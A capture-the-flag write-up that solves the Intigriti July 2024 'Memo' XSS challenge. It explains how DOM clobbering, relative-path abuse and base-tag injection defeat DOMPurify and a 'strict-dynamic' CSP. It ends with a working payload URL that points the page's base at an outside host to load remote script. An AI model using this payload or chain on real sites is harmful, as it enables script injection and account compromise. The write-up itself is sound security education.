Intigriti July 2024 CTF Challenge: Memo

tldr; This fun little challenge was to get reflected cross-site scripting (XSS) on a simple web app that is protected by a content security policy (CSP) and DOMPurify. The solution involves DOM clobbering, relative path abuse and a CSP bypass via HTML base tag injection.

Screenshot of the memo CTF web application

The challenge

The goal is to get cross-site scripting (XSS) working on a relatively simple web application, that is protected by a content-security policy (CSP).

Looking at the source code we have two bits of JavaScript that are allowed, 1. the DOMPurify library and 2. A custom bit of JavaScript containing some suspicious looking code paths.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Memo Sharing</title>
    <script
      integrity="sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw="
      src="./dompurify.js"
    ></script>
    <link rel="stylesheet" href="./style.css" />
  </head>
  <body>
    <div class="navbar">
      <h1>Memo Sharing</h1>
    </div>
    <div class="container">
      <div class="app-description">
        <h4>
          Welcome to Memo Sharing, your safe platform for sharing memos.<br />Just type your memo
          below and send it!
        </h4>
      </div>
      <form id="memoForm">
        <input type="text" id="memoContentInput" placeholder="Enter your memo here..." required />
        <button type="submit" id="submitMemoButton">Submit Memo</button>
      </form>
    </div>

    <div class="memos-display">
      <p id="displayMemo"></p>
    </div>

    <script integrity="sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=">
      document.getElementById("memoForm").addEventListener("submit", (event) => {
        event.preventDefault();
        const memoContent = document.getElementById("memoContentInput").value;
        window.location.href = `${window.location.href.split("?")[0]}?memo=${encodeURIComponent(
          memoContent
        )}`;
      });

      const urlParams = new URLSearchParams(window.location.search);
      const sharedMemo = urlParams.get("memo");

      if (sharedMemo) {
        const displayElement = document.getElementById("displayMemo");
        //Don't worry about XSS, the CSP will protect us for now
        displayElement.innerHTML = sharedMemo;

        if (origin === "http://localhost") isDevelopment = true;
        if (isDevelopment) {
          //Testing XSS sanitization for next release
          try {
            const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
            displayElement.innerHTML = sanitizedMemo;
          } catch (error) {
            const loggerScript = document.createElement("script");
            loggerScript.src = "./logger.js";
            loggerScript.onload = () => logError(error);
            document.head.appendChild(loggerScript);
          }
        }
      }
    </script>
  </body>
</html>

For a capture the flag and especially with an app this small it's unlikely the code in the exception is purely there by chance, so we know we're likely going to need to find a way to get this to execute.

ℹ️
A common challenge in whitebox testing is figuring out how to navigate pathways to execute specific code. This is a valuable skill to learn, though not always possible. It can be particularly frustrating to discover a vulnerability in unreachable code, but hey, that's life!

Figuring out how to reach this part of the code will give us hints at how our exploit needs to look. Lets walk though the code and see what we can learn.

if (origin === "http://localhost") isDevelopment = true;
if (isDevelopment) {

(1) The first check we will need to bypass is the isDevelopment check that looks to see if a page is running on localhost. To make a meaningful XSS exploit we cant rely on using actual localhost as that would mean we could already run a web server on the victim's machine. So that probably means there's another way to do this...

try {
  const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
  displayElement.innerHTML = sanitizedMemo;
} catch (error) {

(2) Next, we need to somehow get the code inside this try block to throw an exception.

const loggerScript = document.createElement("script");
loggerScript.src = "./logger.js";
loggerScript.onload = () => logError(error);
document.head.appendChild(loggerScript);

(3) Then we need to figure out how we can abuse this bit of JavaScript to result in the loading of a malicious script.

Exploitation

Lets see how we can exploit each bit before putting it all together and getting a fully working exploit:

1. Dom Clobbering (isDevelopment bypass)

if (origin === "http://localhost") isDevelopment = true;
if (isDevelopment) {

The first and simplest part of this challenge is bypassing the isDevelopment check. When this challenge runs on localhost it will be defined as true, otherwise the variable will be undefined. As JavaScript will interpret undefined variables as falsy it will not execute the code block inside the if statement. We can use DOM Clobbering to abuse the fact this variable will not exist, and create a HTML block that will automatically be reference by this ID.

For example, lets create a form with an ID of isDevelopment:

<form id=isDevelopment></form>

Now anytime isDevelopment is used without being defined it will default to this HTML element. You can test this easily with this simple snippet:

<form id=isDevelopment></form>
<script>
  console.log(isDevelopment);
</script>

And you will see the output of the HTML element in the JavaScript console:

As JavaScript is a truthy language this will satisfy the if condition and the code block inside will be executed.

2. DOMPurify exception (Relative Path Abuse)

try {
  const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
  displayElement.innerHTML = sanitizedMemo;
} catch (error) {

This was the part of the challenge I was stuck on for the longest. I was mistakenly trying all different avenues, trying to see if I could find out how to get DOMPurify.sanitize to throw an exception, I even went through the source code and GitHub pull requests looking for instances of this happening. Nothing.

After teaming up with Rektangle, we talked through the problem and he identified a way to trigger an exception. We needed to think outside of the box, or at least outside of the try/catch block, if we look earlier in the source we see that DOMPurify is imported using a relative import:

<script
  integrity="sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw="
  src="./dompurify.js"
></script>

If we load the web application from a different path e.g. /hello/ the relative inclusion will now point at /hello/dompurify.js which will result in a 404, and we'll get an error in the console about it failing the integrity check and being sent as text/html. This means that when we call DOMPurify.sanitize an exception will be thrown as that class and function will not exist.

ℹ️
Specifying a different path in a web app usually results in different content being served. However, with some web apps, all paths lead to a single function. This is increasingly common with design patterns known as single page web apps (SPAs).

So now we can cause an exception to be thrown, we just need one more step to get a working exploit.

3. CSP Bypass (Base URL injection)

default-src *; script-src 'strict-dynamic' 'sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw=' 'sha256-C1icWYRx+IVzgDTZEphr2d/cs/v0sM76a7AX4LdalSo=';

The content security policy for the challenge

We can use a CSP evaluator to quickly explain what it is doing and if there are any potential issues.

The CSP is pretty basic, with a couple of hashes that allow specific JavaScript files or blocks run if the hash of their content matches. What is interesting here is strict-dynamic is used, which allows any validated script (via a integrity hash or nonce) to include any other scripts without them also needing validation. Because of this CSP evaluator flags that base-uri is missing, which would allow an attacker to include arbitrary scripts by injecting a base tag. Let's jump in a see what that means:

In HTML a base tag allows you to define the default link URL and target. For example:

<base href="https://stealthcopter.com/" target="_blank"> 

This would mean that an image tag with a relative link such as the following:

<img src="/mat.jpg"> 

Would load the image from https://stealthcopter.com/mat.jpg.

Obviously this can be useful in cases where we have achieved HTML injection but for some reason we are unable to get XSS. In this case it's due to the CSP but in other cases it could be due to filtering etc...

So, now we have a way of inserting a HTML base tag that will cause the inclusion of ./logger.js to be loaded from an origin we control.

Putting it all together

Now we have all the steps to a working exploit:

  1. Bypass isDevelopment check using dom clobbering
  2. Use a different path to cause the relative import of DOMPurify to fail, this will result in an exception being thrown when DOMPurify.sanitize is called as that class/method will not exist.
  3. Inject a base tag to set the base URI to an attacker controlled domain, which will cause the relative import of logger.js to resolve to a malcious script. This bypasses the CSP as strict-dynamic rule allows trusted scripts (such as the one in the source with a valid integrity hash) to load other JavaScript files without nonce or hashes.

The resulting payload is surprisingly simple as we can combine steps 1 and 3 into a single HTML tag:

https://challenge-0724.intigriti.io/challenge/a/?memo=<base id=isDevelopment href=https://p.babby.win>

The final payload

Execution of the remote JavaScript payload